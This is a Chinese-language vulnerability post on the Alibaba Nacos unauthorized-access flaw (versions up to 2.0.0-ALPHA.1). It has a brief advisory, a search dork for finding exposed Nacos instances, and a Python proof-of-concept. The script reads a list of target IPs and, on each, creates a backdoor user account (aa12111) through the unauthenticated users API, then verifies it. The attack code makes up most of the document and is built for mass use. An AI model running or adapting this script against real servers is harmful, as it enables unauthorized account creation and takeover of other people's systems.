Alibaba Nacos 未授权访问漏洞

威胁等级 : 高危

影响范围 : Nacos <= 2.0.0-ALPHA.1

漏洞类型 : 未授权访问

利用难度 : 简单

漏洞描述

2020年12月29日,Nacos官方在github发布的issue中披露Alibaba Nacos 存在一个由于不当处理User-Agent导致的未授权访问漏洞 。 通过该漏洞,攻击者可以进行任意操作,包括创建新用户并进行登录后操作。

漏洞复现

目前受影响的 Alibaba Nacos 版本:
Nacos <= 2.0.0-ALPHA.1

title=nacos

poc

# coding=utf-8


import time
import requests
import urllib3


urllib3.disable_warnings()
headers = {
    'User-Agent': "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36",
    "Accept-Encoding": "gzip, deflate",
}

def nacos(ip):
    try:
        check_url = '/nacos/v1/auth/users'
        exp_data = {
            "username": "aa12111",
            "password": "aa12111",
        }
        check_url2 = ip + '/nacos/v1/auth/users?pageNo=1&pageSize=100'
        poc_url = ip + check_url
        response = requests.post(url=poc_url, headers=headers, timeout=10, verify=False, data=exp_data)
        res_data = response.text
        #print(res_data)
        if "already exist!" in res_data:
            print('用户名aa12111已经存在', check_url2)
        elif "create user ok!" in res_data:
            res = requests.get(url=check_url2, headers=headers, timeout=10, verify=False)
            if "aa12111" in res.text:
                print("添加用户名成功")
        else:
            print("漏洞利用失败")
    except:
        print("连接超时!")


def get_url():
    with open('ip.txt', 'r') as f:
        ips = f.readlines()
        for ip in ips:
            ip = ip.strip()
            #print(ip)
            if ip[0:5] == 'https':
                ip = ip
            elif ip[0:4] == 'http':
                ip = ip
            else:
                ip = 'http://' + ip
            nacos(ip)


if __name__ == "__main__":
    get_url()

你可能感兴趣的:(Alibaba Nacos 未授权访问漏洞)